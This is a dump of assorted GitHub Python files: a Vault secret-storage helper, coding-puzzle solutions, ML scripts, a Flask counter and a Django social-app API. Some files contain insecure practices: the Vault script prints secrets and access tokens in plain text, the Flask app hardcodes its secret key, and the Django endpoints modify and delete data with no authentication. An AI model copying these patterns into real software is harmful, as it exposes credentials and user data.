\npuppet_secret_retrieval = \"Deferred('vault_lookup::lookup', [\" \n\n\ndef makeConn():\n hvc_client = hvac.Client(url= hvac_url, token= hvac_token) \n return hvc_client \n\ndef storeSecret( client, secr1 , cnt ):\n secret_path = 'SECRET_PATH_' + str( cnt )\n create_response = client.secrets.kv.v2.create_or_update_secret(path=secret_path, secret=dict(password = secr1 ) )\n # print( type( create_response ) )\n # print( dir( create_response) )\n\ndef retrieveSecret(client_, cnt_, tech_str): \n secret_path = 'SECRET_PATH_' + str( cnt_ )\n read_response = client_.secrets.kv.read_secret_version(path=secret_path) \n secret_from_vault = read_response['data']['data']['password']\n # print('The secret we have obtained:')\n print(\"To retrieve the secret '{}' please plugin the following code snippet in your script:\".format( secret_from_vault) )\n if tech_str == 'A': \n print(ansible_secret_retrieval + secret_path + \" token=\" + hvac_token + \" url=\" + hvac_url + \")['data']['data']['password'] }}\" + '\"')\n elif tech_str == 'P':\n print(puppet_secret_retrieval + '\"' + secret_path + '/' + hvac_token + '\", ' + hvac_url + \"']),\" )\n\n\n\ndef preprocessTechInput(tech_str):\n str2ret = ''\n tech_str = tech_str.replace('\\n', '')\n tech_str = tech_str.replace('\\r', '') \n\n str2ret = tech_str \n return str2ret\n\n\ndef storeSecrets(lis_secr, tech_str): \n clientObj = makeConn() \n for secret2store in lis_secr: \n counter = random.randint(1, 100000)\n storeSecret( clientObj, secret2store, counter )\n counter_mapper[counter] = tech_str\n print(\"Finished storing secrets!\")\n print('='*50) \n\n\ndef retrieveSecrets( tech_str ): \n clientObj = makeConn() \n for counter, v_ in counter_mapper.items():\n retrieveSecret( clientObj, counter, tech_str )\n print('='*50)\n\n\nif __name__ == '__main__': \n print(\"Welcome!\")\n print(\"This Python program will ask for inputs from you in order to store secrets and provide code to retrieve secrets.\")\n print(\"First let's understand what technology are you using? Type 'A' for Ansible and 'P' for Puppet:\")\n technology_string = input()\n preprocessTechInput( technology_string )\n print(\"Thanks. Please provide the secrets that you want this program to securely store:\")\n inp_secret_holder = []\n while True: \n print(\"Please provide the secret that you want the program to secure. Hit 'q' to quit:\")\n secret = input() \n secret = preprocessTechInput(secret)\n if secret == 'Q' or secret == 'q': \n break\n inp_secret_holder.append( secret )\n storeSecrets( inp_secret_holder, technology_string )\n print(\"Do you want the code snippet to retrieve your secrets? 'Y' for yes and 'N' for no.\")\n retrieve = input()\n retrieve = preprocessTechInput( retrieve )\n if retrieve == 'Y' or retrieve == 'y': \n retrieveSecrets( technology_string )\n elif retrieve == 'N' or retrieve == 'n': \n print(\"Thanks for using the program. Goodbye!\")\n\n","repo_name":"paser-group/continuous-secsoft","sub_path":"sqa2023/project/vault4paper.py","file_name":"vault4paper.py","file_ext":"py","file_size_in_byte":3891,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"47"} +{"seq_id":"39826182837","text":"# Definition for a binary tree node.\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\nclass Solution:\n def flipEquiv(self, root1: TreeNode, root2: TreeNode) -> bool:\n if (not root1 and root2) or (root1 and not root2):\n return False\n elif not root1 and not root2:\n return True\n elif root1.val == root2.val:\n if (not root1.left and not root2.left) or (not root1.right and not root2.right):\n return self.flipEquiv(root1.left, root2.left) and self.flipEquiv(root1.right, root2.right)\n elif root1.left and root2.left and root1.right and root2.right and root1.left.val == root2.left.val and root1.right.val == root2.right.val:\n return self.flipEquiv(root1.left, root2.left) and self.flipEquiv(root1.right, root2.right)\n else:\n return self.flipEquiv(root1.left, root2.right) and self.flipEquiv(root1.right, root2.left)\n return False\n\n\nclass Solution:\n def flipEquiv(self, root1, root2):\n def dfs(node):\n if node:\n yield node.val\n L = node.left.val if node.left else -1\n R = node.right.val if node.right else -1\n if L < R:\n yield from dfs(node.left)\n yield from dfs(node.right)\n else:\n yield from dfs(node.right)\n yield from dfs(node.left)\n yield '#'\n\n return all(x == y for x, y in itertools.zip_longest(\n dfs(root1), dfs(root2)))\n\n\nif __name__ == '__main__':\n s = Solution()\n t1 = TreeNode(2)\n t2 = TreeNode(2)\n print(t1 is t2)","repo_name":"arsamigullin/problem_solving_python","sub_path":"leet/google/trees_and_graphs/951_flip_equivalent_binary_trees.py","file_name":"951_flip_equivalent_binary_trees.py","file_ext":"py","file_size_in_byte":1765,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"27076865902","text":"import os\nimport logging\nimport argparse\nimport sys\nsys.path.insert(0, os.getcwd())\n\nimport torch\nimport pandas as pd\n\nfrom audio_cls.eval.predict import Predictor\nfrom audio_cls.dataset import DATASETS\nfrom audio_cls.models import MODELS\nfrom audio_cls.trainer import TRAINERS\nfrom audio_cls.utils.get_cfg import get_cfg_by_file\nfrom audio_cls.transforms import build_loader_processor, build_batch_processor\nfrom audio_cls.eval.metrics import METRICS\nfrom audio_cls.utils.logger_helper import setup_logger\n\n\nlogger = setup_logger(level=logging.INFO)\n\ndef main():\n # import config file\n config = get_cfg_by_file(args.config_file)\n \n assert args.task in (\"evaluate\", \"inference\")\n\n if args.task == \"evaluate\":\n df = pd.read_csv(config.csv_path)\n logger.info('Read csv file successuflly.')\n test_path_list = df[config.audio_name_column].apply(lambda name: os.path.join(config.audio_path, name + '.wav')).tolist() \n test_label_list = df[config.target_column].astype(int) - 1 \n \n elif args.task == \"inference\":\n test_path_list = [os.path.join(args.data_dir, name) for name in os.listdir(args.data_dir) if name.endswith('.wav')] \n test_label_list = [0] * len(test_path_list)\n logger.info(f'Find {len(test_path_list)} number of data.')\n\n # pre-transform & aug\n pre_transform = build_loader_processor(config.pre_transform_cfg)\n\n # dataset\n test_audio_dataset = DATASETS.build(\n audio_path_list=test_path_list, label_list=test_label_list, pre_transform=pre_transform, \n **config.test_dataset_cfg\n )\n\n # dataloader\n test_loader = torch.utils.data.DataLoader(\n test_audio_dataset, batch_size=config.test_batch_size, shuffle=False, num_workers=config.num_workers, pin_memory=True\n )\n\n # build models & set eval mode\n model_list = []\n for model_cfg, checkpoint_path in zip(config.model_cfg_list, config.checkpoint_path_list):\n model = MODELS.build(**model_cfg).eval()\n model.load_state_dict(torch.load(checkpoint_path))\n logger.info(f\"Load checkpoint from {checkpoint_path} successfully.\")\n model_list.append(model)\n\n # build batch processor\n \n batch_processor_list = [\n build_batch_processor(test_transform_cfg) for test_transform_cfg in config.test_transform_cfg_list\n ]\n\n # build trainer\n trainer_list = []\n for trainer_cfg, audio_model in zip(config.trainer_cfg_list, model_list):\n trainer_list.append(\n TRAINERS.build(\n type=trainer_cfg.pop('type'), \n audio_model=audio_model, \n **trainer_cfg\n )\n )\n\n # build predictor\n predictor = Predictor(trainer_list=trainer_list, batch_processor_list=batch_processor_list, **config.predictor_cfg)\n preds, names = predictor.predict(test_loader)\n\n names = [name.split('.')[0] for name in names]\n preds = preds.argmax(axis=1) + 1\n \n if args.task == \"inference\":\n if args.save_path is None:\n raise ValueError(\"save_path could not be None.\")\n pd.DataFrame({\"ID\": names, \"Category\": preds}).to_csv(args.save_path, header=False, index=False)\n logging.info(f\"Save inference result at {args.save_path}\")\n \n elif args.task == \"evaluate\":\n df_res = pd.DataFrame({\"ID\": names, \"pred\": preds})\n series_gt = pd.read_csv(config.csv_path, index_col='ID')[\"Disease category\"]\n df_res[\"gt\"] = df_res['ID'].apply(lambda x: series_gt[x])\n for metric_name in config.metric_list: \n print(metric_name, ':',METRICS[metric_name](df_res[\"gt\"].to_list(), df_res[\"pred\"].to_list()))\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description=\"Prepare sepsis data for training!\")\n parser.add_argument(\"--config_file\", type=str)\n parser.add_argument(\"--task\", type=str)\n parser.add_argument(\"--data_dir\", type=str)\n parser.add_argument(\"--save_path\", type=str, required=False)\n args = parser.parse_args()\n main()","repo_name":"travisergodic/mm_audio_classification","sub_path":"tools/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":4011,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"14020544771","text":"import numpy as numpy\n\nnumberArray = []\nplateArray = []\nwith open('2021/Day 4 - WinBingo/numberfile.txt', 'rt') as f:\n for number in f.readline().split(','):\n numberArray.append(int(number))\n \n i = 0\n f.readline()\n currentBoard = [[], [], [], [], []]\n for line in f.readlines():\n if (line == '\\n'):\n plateArray.append(currentBoard)\n i = 0\n currentBoard = [[], [], [], [], []]\n else:\n for number in line.split():\n currentBoard[i].append(int(number))\n i += 1\n plateArray.append(currentBoard)\n\ndef is_in(x, nested):\n result = False\n if not isinstance(nested, (tuple, list)): \n return result\n for item in nested:\n if x == item:\n result = True\n else:\n result = result or is_in(x, item)\n if result:\n return True\n return result\n\nlosingPlates = []\nspentNumbers = []\nexit = False\nfor number in numberArray:\n spentNumbers.append(number)\n for plate in plateArray:\n for row in plate:\n if all([row[0] in spentNumbers, row[1] in spentNumbers, row[2] in spentNumbers, row[3] in spentNumbers, row[4] in spentNumbers]):\n if plate in plateArray:\n if(len(losingPlates) > 0):\n losingPlates.append(plate)\n plateArray.remove(plate)\n else:\n losingPlates.append(plate)\n plateArray.remove(plate)\n \n j = 0\n while(j < 5):\n if all([plate[0][j] in spentNumbers, plate[1][j] in spentNumbers, plate[2][j] in spentNumbers, plate[3][j] in spentNumbers, plate[4][j] in spentNumbers]):\n if plate in plateArray:\n if (len(losingPlates) > 0):\n losingPlates.append(plate)\n plateArray.remove(plate)\n else:\n losingPlates.append(plate)\n plateArray.remove(plate)\n j += 1\n if len(plateArray) == 0:\n break\n\nprint(losingPlates[len(losingPlates) - 1])\n\ni = 0\nsum = 0\nwhile (i < 5):\n j = 0\n while (j < 5):\n if losingPlates[len(losingPlates) - 1][i][j] not in spentNumbers:\n sum += losingPlates[len(losingPlates) - 1][i][j]\n j += 1\n i += 1\n\nprint(sum * spentNumbers[len(spentNumbers) - 1])","repo_name":"marc7636/AdventOfCode","sub_path":"2021/Day 4 - LoseBingo/LoseBingo.py","file_name":"LoseBingo.py","file_ext":"py","file_size_in_byte":2490,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"16619665817","text":"from flask import Flask, render_template, request, redirect, session # Import Flask to allow us to create our app\napp = Flask(__name__) # Create a new instance of the Flask class called \"app\"\napp.secret_key ='keep it secret, keep it safe'\n\n@app.route('/')\ndef index():\n if'count' not in session:\n session['count'] = 0\n else:\n session['count'] += 1\n return render_template('index.html')\n\n@app.route('/destroy_session')\ndef destroy():\n session.clear()\n return redirect('/')\n\n@app.route('/down')\ndef down():\n session['count'] -= 1\n return render_template('index.html')\n\n\nif __name__==\"__main__\": # Ensure this file is being run directly and not from a different module \n app.run(debug=True) # Run the app in debug mode.","repo_name":"ryanrf1986/Py","sub_path":"fundamentals/files/counter/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"38055522549","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nThis module contains only constants defined in various IPMI specifications.\r\n\"\"\"\r\nimport datetime\r\n\r\n\"\"\"\r\nStart of PET local timestamp as defined in Platform Event Trap Format Specification v1.0,\r\nTable 3 - Variable Bindings Fields.\r\n\r\nSee: https://www.intel.com/content/dam/www/public/us/en/documents/product-briefs/platform-event-trap.pdf\r\n\"\"\"\r\nPET_EPOCH = datetime.datetime(day=1, month=1, year=1998)\r\n\r\n\"\"\"\r\nEvent/Trap source types as defined in Platform Event Trap Format Specification v1.0, Table 3 - Variable Bindings Fields.\r\n\r\nSee: https://www.intel.com/content/dam/www/public/us/en/documents/product-briefs/platform-event-trap.pdf\r\n\"\"\"\r\nSOURCE_TYPES = {\r\n range(0x00, 0x07): 'Platform Firmware (e.g. BIOS)',\r\n range(0x08, 0x0F): 'SMI Handler',\r\n range(0x10, 0x17): 'ISV System Management Software',\r\n range(0x18, 0x1F): 'Alert ASIC',\r\n range(0x20, 0x27): 'IPMI',\r\n range(0x28, 0x2F): 'BIOS Vendor',\r\n range(0x30, 0x37): 'System Board Set Vendor',\r\n range(0x38, 0x3F): 'System Integrator',\r\n range(0x40, 0x47): 'Third Party Add-in',\r\n range(0x48, 0x4F): 'OSV',\r\n range(0x50, 0x57): 'NIC',\r\n range(0x58, 0x5F): 'System Management Card'\r\n}\r\n\r\n\"\"\"\r\nPET severity types as defined in Platform Event Trap Format Specification v1.0, Table 3 - Variable Bindings Fields.\r\n\r\nSee: https://www.intel.com/content/dam/www/public/us/en/documents/product-briefs/platform-event-trap.pdf\r\n\"\"\"\r\nSEVERITY_TYPES = {\r\n 0x01: 'Monitor',\r\n 0x02: 'Information',\r\n 0x04: 'OK',\r\n 0x08: 'Non-critical condition (a.k.a. warning)',\r\n 0x10: 'Critical condition',\r\n 0x20: 'Non-recoverable condition'\r\n}\r\n\r\n\"\"\"\r\nLanguage codes as defined in Platform Management FRU Information Storage Definition v1.0, Table 15-1, Language codes\r\n\r\nSee: https://www.intel.com/content/dam/www/public/us/en/documents/specification-updates/ipmi-platform-mgt-fru-info-storage-def-v1-0-rev-1-3-spec-update.pdf\r\n\"\"\"\r\nLANGUAGE_CODES = {\r\n 0: 'en English',\r\n 1: 'aa Afar', 51: 'it Italian', 101: 'si Singhalese',\r\n 2: 'ab Abkhazian', 52: 'iw Hebrew', 102: 'sk Slovak',\r\n 3: 'af Afrikaans', 53: 'ja Japanese', 103: 'sl Slovenian',\r\n 4: 'am Amharic', 54: 'ji Yiddish', 104: 'sm Samoan',\r\n 5: 'ar Arabic', 55: 'jw Javanese 105: sn Shona',\r\n 6: 'as Assamese', 56: 'ka Georgian 106: so Somali',\r\n 7: 'ay Aymara', 57: 'kk Kazakh 107: sq Albanian',\r\n 8: 'az Azerbaijani', 58: 'kl Greenlandic 108: sr Serbian',\r\n 9: 'ba Bashkir', 59: 'km Cambodian 109: ss Siswati',\r\n 10: 'be Byelorussian', 60: 'kn Kannada', 110: 'st Sesotho',\r\n 11: 'bg Bulgarian', 61: 'ko Korean', 111: 'su Sudanese',\r\n 12: 'bh Bihari', 62: 'ks Kashmiri', 112: 'sv Swedish',\r\n 13: 'bi Bislama', 63: 'ku Kurdish', 113: 'sw Swahili',\r\n 14: 'bn Bengali; Bangla', 64: 'ky Kirghiz', 114: 'ta Tamil',\r\n 15: 'bo Tibetan', 65: 'la Latin', 115: 'te Tegulu',\r\n 16: 'br Breton', 66: 'ln Lingala', 116: 'tg Tajik',\r\n 17: 'ca Catalan', 67: 'lo Laothian', 117: 'th Thai',\r\n 18: 'co Corsican', 68: 'lt Lithuanian', 118: 'ti Tigrinya',\r\n 19: 'cs Czech', 69: 'lv Latvian, Lettish', 119: 'tk Turkmen',\r\n 20: 'cy Welsh', 70: 'mg Malagasy', 120: 'tl Tagalog',\r\n 21: 'da danish', 71: 'mi Maori', 121: 'tn Setswana',\r\n 22: 'de german', 72: 'mk Macedonian', 122: 'to Tonga',\r\n 23: 'dz Bhutani', 73: 'ml Malayalam', 123: 'tr Turkish',\r\n 24: 'el Greek', 74: 'mn Mongolian', 124: 'ts Tsonga',\r\n 25: 'en English', 75: 'mo Moldavian', 125: 'tt Tatar',\r\n 26: 'eo Esperanto', 76: 'mr Marathi', 126: 'tw Twi',\r\n 27: 'es Spanish', 77: 'ms Malay', 127: 'uk Ukrainian',\r\n 28: 'et Estonian', 78: 'mt Maltese', 128: 'ur Urdu',\r\n 29: 'eu Basque', 79: 'my Burmese', 129: 'uz Uzbek',\r\n 30: 'fa Persian', 80: 'na Nauru', 130: 'vi Vietnamese',\r\n 31: 'fi Finnish', 81: 'ne Nepali', 131: 'vo Volapuk',\r\n 32: 'fj Fiji', 82: 'nl Dutch', 132: 'wo Wolof',\r\n 33: 'fo Faeroese', 83: 'no Norwegian', 133: 'xh Xhosa',\r\n 34: 'fr French', 84: 'oc Occitan', 134: 'yo Yoruba',\r\n 35: 'fy Frisian', 85: 'om (Afan) Oromo', 135: 'zh Chinese',\r\n 36: 'ga Irish', 86: 'or Oriya', 136: 'zu Zulu',\r\n 37: 'gd Scots Gaelic', 87: 'pa Punjabi',\r\n 38: 'gl Galician', 88: 'pl Polish',\r\n 39: 'gn Guarani', 89: 'ps Pashto, Pushto',\r\n 40: 'gu Gujarati', 90: 'pt Portuguese',\r\n 41: 'ha Hausa', 91: 'qu Quechua',\r\n 42: 'hi Hindi', 92: 'rm Rhaeto-Romance',\r\n 43: 'hr Croatian', 93: 'rn Kirundi',\r\n 44: 'hu Hungarian', 94: 'ro Romanian',\r\n 45: 'hy Armenian', 95: 'ru Russian',\r\n 46: 'ia Interlingua', 96: 'rw Kinyarwanda',\r\n 47: 'ie Interlingue', 97: 'sa Sanskrit',\r\n 48: 'ik Inupiak', 98: 'sd Sindhi',\r\n 49: 'in Indonesian', 99: 'sg Sangro',\r\n 50: 'is Icelandic', 100: 'sh Serbo-Croatian',\r\n}\r\n\r\n# TODO: Copy from IPMI specification\r\nENTITY_ID = {\r\n}\r\n","repo_name":"hradecek/PETDecoder","sub_path":"pet/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":4825,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"16369186468","text":"import bs4, requests, lxml\n\n'''http://quotes.toscrape.com/'''\n\nrequest = requests.get(\"http://quotes.toscrape.com/\")\n\nsoup = bs4.BeautifulSoup(request.text,\"lxml\")\n\nauthors = set()\ni = 1\nwhile True:\n request = requests.get(f\"http://quotes.toscrape.com/page/{i}\")\n soup = bs4.BeautifulSoup(request.text,\"lxml\")\n\n try:\n for author in soup.select(\".author\"):\n authors.add(author.getText())\n print(author.getText())\n soup.select(\".author\")[0].getText\n except:\n break \n i+=1\n\nprint(authors)\n\n\nhello = print(\"hello\")\n\n\n'''quote_list = []\nfor quote in soup.select(\".text\"):\n quote_list.append(quote.getText()) \nprint(quote_list)\n\nfor tag in soup.select(\".tag-item\"):\n print(tag.getText())'''\n\n","repo_name":"blokkies48/Pyphon-practice","sub_path":"Udemy courses/Zero to Hero Python/web_scraping_exercises.py","file_name":"web_scraping_exercises.py","file_ext":"py","file_size_in_byte":753,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"22690296349","text":"from rest_framework.response import Response\r\nfrom rest_framework.decorators import api_view\r\n\r\nfrom django.contrib.auth.models import User\r\nfrom apps.base.models import Post, Saved, Comment, Follower\r\nfrom .serializers import UserSerializer, PostSerializer, SavedPostsSerializer, CommentSerializer, FollowSerializer\r\n\r\n\r\n@api_view(['GET'])\r\ndef apiOverview(request):\r\n urls = {\r\n 'User by Name': '/user//',\r\n 'User by Id': '/user//',\r\n 'All Users': '/users/',\r\n\r\n 'User\\'s Posts': '/posts//',\r\n 'Add Post': '/add-post/',\r\n 'Update Post': '/update-post//',\r\n 'Delete Post': '/delete-post//',\r\n\r\n 'Saved Posts': '/saved-posts//',\r\n\r\n 'Post Comments': '/comments//',\r\n 'Add Comment': '/add-comment/',\r\n 'Update Comment': '/update-comment//',\r\n 'Delete Comment': '/delete-comment//',\r\n\r\n 'User\\'s Followers': '/followers/',\r\n 'User\\'s Following': '/following/',\r\n }\r\n return Response(urls)\r\n\r\n\r\n# --- USER ---\r\n\r\n@api_view(['GET'])\r\ndef getUserByName(request, username):\r\n user = User.objects.get(username=username)\r\n serializer = UserSerializer(user, many=False)\r\n return Response(serializer.data)\r\n\r\n@api_view(['GET'])\r\ndef getUserById(request, user_id):\r\n user = User.objects.get(id=user_id)\r\n serializer = UserSerializer(user, many=False)\r\n return Response(serializer.data)\r\n\r\n@api_view(['GET'])\r\ndef getUsers(request):\r\n users = User.objects.all()\r\n serializer = UserSerializer(users, many=True)\r\n return Response(serializer.data)\r\n\r\n\r\n# --- POSTS ---\r\n\r\n@api_view(['GET'])\r\ndef getPosts(request, username):\r\n user = User.objects.get(username=username)\r\n posts = Post.objects.filter(user=user)\r\n serializer = PostSerializer(posts, many=True)\r\n return Response(serializer.data)\r\n\r\n@api_view(['POST'])\r\ndef addPost(request):\r\n serializer = PostSerializer(data=request.data)\r\n if serializer.is_valid():\r\n serializer.save()\r\n return Response(serializer.data)\r\n\r\n@api_view(['POST'])\r\ndef updatePost(request, post_id):\r\n post = Post.objects.get(id=post_id)\r\n serializer = PostSerializer(instance=post, data=request.data)\r\n if serializer.is_valid():\r\n serializer.save()\r\n return Response(serializer.data)\r\n\r\n@api_view(['DELETE'])\r\ndef deletePost(request, post_id):\r\n post = Post.objects.get(id=post_id)\r\n post.delete()\r\n return Response(\"Post is deleted.\")\r\n\r\n\r\n\r\n# --- SAVED POSTS ---\r\n\r\n@api_view(['GET'])\r\ndef getSavedPosts(request, username):\r\n user = User.objects.get(username=username)\r\n saved = Saved.objects.filter(user=user).values_list('post', flat=True)\r\n saved_posts = Post.objects.filter(id__in=saved)\r\n serializer = SavedPostsSerializer(saved_posts, many=True)\r\n return Response(serializer.data)\r\n\r\n\r\n\r\n# --- COMMENTS ---\r\n\r\n@api_view(['GET'])\r\ndef getComments(request, post_id):\r\n comments = Comment.objects.filter(post=post_id)\r\n serializer = CommentSerializer(comments, many=True)\r\n return Response(serializer.data)\r\n\r\n@api_view(['POST'])\r\ndef addComment(request):\r\n serializer = CommentSerializer(data=request.data)\r\n if serializer.is_valid():\r\n serializer.save()\r\n return Response(serializer.data)\r\n\r\n@api_view(['POST'])\r\ndef updateComment(request, comment_id):\r\n comment = Comment.objects.get(id=comment_id)\r\n serializer = CommentSerializer(instance=comment, data=request.data)\r\n if serializer.is_valid():\r\n serializer.save()\r\n return Response(serializer.data)\r\n\r\n@api_view(['DELETE'])\r\ndef deleteComment(request, comment_id):\r\n comment = Comment.objects.get(id=comment_id)\r\n comment.delete()\r\n return Response(\"Comment is deleted.\")\r\n\r\n\r\n# --- FOLLOWERS AND FOLLOWING ---\r\n\r\n@api_view(['GET'])\r\ndef getFollowers(request, username):\r\n user = User.objects.get(username=username)\r\n followers = Follower.objects.filter(follower=user)\r\n serializer = FollowSerializer(followers, many=True)\r\n return Response(serializer.data)\r\n\r\n@api_view(['GET'])\r\ndef getFollowing(request, username):\r\n user = User.objects.get(username=username)\r\n following = Follower.objects.filter(user=user)\r\n serializer = FollowSerializer(following, many=True)\r\n return Response(serializer.data)","repo_name":"JohnTitor99/Instagram","sub_path":"api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4367,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"39022182262","text":"from django.views import generic\nfrom django import http\nfrom django import urls\nfrom django.db import models as dj_models\n\nfrom sheets_db import configuration\nfrom pm_viewer import models\n\n\nclass Home(generic.TemplateView):\n template_name = \"home.html\"\n\n def get_context_data(self, **kwargs):\n teams = {}\n for member in models.TeamMember.objects.filter(\n salary__lt=dj_models.F('salary_target') - 30000,\n hire_date__year__isnull=False,\n team__iendswith='core',\n ).annotate(\n dif=dj_models.F('salary_target') - 30000,\n count_enps=dj_models.Min('enps_replies__value')\n ).order_by('-dif').prefetch_related('enps_replies'):\n teams.setdefault(member.team, [])\n if member.name or member.email:\n teams[member.team].append(member)\n return {'teams': teams}\n\n def get(self, request, *args, **kwargs):\n if not configuration.is_db_configured():\n callback_url = \\\n f'{request.scheme}://{request.headers[\"HOST\"]}' + \\\n urls.reverse('oauth_callback')\n return http.HttpResponseRedirect(\n configuration.get_db_configuration_url(callback_url))\n return super(Home, self).get(request, *args, **kwargs)\n\n\nclass OAuthCallback(generic.View):\n def get(self, request):\n configuration.configure_db(request)\n return http.HttpResponseRedirect(urls.reverse('home'))\n","repo_name":"kozzztik/pm_viewer","sub_path":"pm_viewer/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"7357570726","text":"from Model import Network\nfrom DataIO import preprocess, load_data\n\nif __name__ == '__main__':\n\n num_epochs = 3\n learning_rate = 0.005\n regularization = 0\n validate = 1\n verbose = 1\n plot_weights = 1\n plot_correct = 0\n plot_missclassified = 0\n plot_feature_maps = 0\n\n print('\\nLoading dataset...') # load dataset\n dataset = load_data()\n dataset = preprocess(dataset)\n\n print('\\nForming Model...') # build model\n model = Network()\n model.build_model()\n\n\n print('\\nTraining:') # train model\n model.train(\n dataset,\n num_epochs,\n learning_rate,\n validate,\n regularization,\n plot_weights,\n verbose,\n print_cycle=250\n )\n\n print('\\nTesting:') # test model\n model.evaluate(\n dataset['test_images'],\n dataset['test_labels'],\n regularization,\n plot_correct,\n plot_missclassified,\n plot_feature_maps,\n verbose\n )\n \n print('\\nSaving Model...')\n model.save('model.pt')\n print('\\nExiting.')","repo_name":"VioletEqz/Cat-Breed-Classification","sub_path":"Train.py","file_name":"Train.py","file_ext":"py","file_size_in_byte":1176,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"22448672479","text":"from django import forms\nfrom .models import FaultyLogging\nfrom .models import Comment\nfrom accounts.models import User\n\n\nclass FaultyLogForm(forms.ModelForm):\n class Meta:\n model = FaultyLogging\n labels = {\n \"necompanyxt_follow_up\": \"Client\",\n \"faulty_close_date\": \"Fault Closing Date\",\n }\n widgets = {\n 'faulty_close_date': forms.DateInput(attrs={'class': 'datepicker', 'type': 'date', 'data-date-format': 'YYYY-MM-DD'}),\n 'faulty_decription': forms.Textarea(attrs={'rows': 4, },),\n }\n fields = (\"title\", \"priority\", \"company\", \"email\", \"phone_number\",\n \"assigned_to\", \"status\", \"service\", \"faulty_decription\", \"faulty_close_date\")\n\n def __init__(self, *args, **kwargs):\n super(FaultyLogForm, self).__init__(*args, **kwargs)\n self.fields['assigned_to'].queryset = User.objects.filter(designation=\"tech\")\n\nclass FaultyLogForm2(forms.ModelForm):\n class Meta:\n model = FaultyLogging\n labels = {\n \"company\": \"Client\",\n \"faulty_close_date\": \"Fault Closing Date\",\n \"assigned_to\":\"\",\n }\n widgets = {\n 'status':forms.Select(attrs={'onchange':'submit();'},),\n 'faulty_close_date': forms.DateInput(attrs={'onchange':'submit();','class': 'datepicker', 'type': 'hidden', 'data-date-format': 'YYYY-MM-DD'}), \n 'faulty_decription': forms.TextInput(attrs={'onchange':'submit();','type':'hidden',},),\n 'title':forms.TextInput(attrs={'onchange':'submit();','type':'hidden'},),\n 'priority': forms.TextInput(attrs={'onchange':'submit();','type':'hidden'},),\n 'company': forms.TextInput(attrs={'onchange':'submit();','type':'hidden'},),\n 'email': forms.EmailInput(attrs={'onchange':'submit();','type':'hidden'},),\n 'phone_number': forms.TextInput(attrs={'onchange':'submit();','type':'hidden'},),\n 'assigned_to': forms.SelectMultiple(attrs={'onchange':'submit();','type':'hidden','id':'div_id_assigned_to2'},),\n 'service': forms.TextInput(attrs={'onchange':'submit();','type':'hidden'},),\n }\n fields = (\"title\", \"priority\", \"company\", \"email\", \"phone_number\",\n \"assigned_to\", \"status\", \"service\", \"faulty_decription\", \"faulty_close_date\")\n \n def __init__(self, *args, **kwargs):\n super(FaultyLogForm2, self).__init__(*args, **kwargs)\n self.fields['assigned_to'].queryset = User.objects.filter(designation=\"tech\")\n\n\nclass CommentForm(forms.ModelForm):\n class Meta:\n model = Comment \n labels = {\n \"decription\": \"Enter your comments/notes\",\n }\n widgets ={\n 'fault': forms.TextInput(attrs={'type':'hidden',},),\n 'user': forms.TextInput(attrs={'type':'hidden',},),\n }\n fields = ('fault','decription','user')\n","repo_name":"poppykode/sm","sub_path":"service_management/faulty_logging/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":2914,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"14661039090","text":"# This script calculates the SHAP value for each deep learning embedding feature for predicting disease condition.\n\nimport pandas as pd\nimport numpy as np\nimport argparse\nimport matplotlib.pyplot as plt\nfrom sklearn.metrics import plot_confusion_matrix\nfrom imblearn.ensemble import BalancedRandomForestClassifier\nimport shap\nimport constants\n\n\ndef parse_args():\n \"\"\"\n Defines arguments.\n \n Returns:\n args: some sort of argparse object that the arguments can be extracted from.\n \"\"\"\n parser = argparse.ArgumentParser(description='Use a balanced random forest model to classify disease condition and then calculate the Shapley score for each feature.')\n parser.add_argument('-i', '--input', help='CSV of DL embeddings and metadata for a specific experiment.', type=str, required=True)\n parser.add_argument('-o', '--output', help='Directory to write output to. Default is current directory.', type=str, default='.', required=False)\n parser.add_argument('-n', '--outputFileName', help='Name of the ouput file.', type=str, default='shap_values_disease_condition.csv', required=False)\n args = parser.parse_args()\n return args\n\n\nif __name__ == '__main__':\n \"\"\"Main.\"\"\"\n\n # Parse arguments.\n args = parse_args()\n out_dir = args.output.rstrip('/')\n out_file_name = args.outputFileName\n\n # Load data and preprocess data.\n df = pd.read_csv(args.input)\n\n feature_cols = [col for col in df.columns if constants.FEATURE_PREFIX in col]\n df[constants.DISEASE_CONDITION] = df[constants.DISEASE_CONDITION].fillna(constants.NULL)\n\n # Split data to train on the controls and test on the experiments with drugs\n df_controls = df[df[constants.TREATMENT].isna()]\n X_train = df_controls[feature_cols]\n y_train = df_controls[constants.DISEASE_CONDITION]\n\n df_drugs = df[~df[constants.TREATMENT].isna()]\n X_test = df_drugs[feature_cols]\n y_test = df_drugs[constants.DISEASE_CONDITION]\n\n del df\n del df_controls\n del df_drugs\n\n # Run model to classify disease condition.\n brc = BalancedRandomForestClassifier()\n brc.fit(X_train, y_train)\n y_pred_brc = brc.predict(X_test)\n\n # Plot confusion matrix.\n plot_confusion_matrix(brc, X_test, y_test)\n 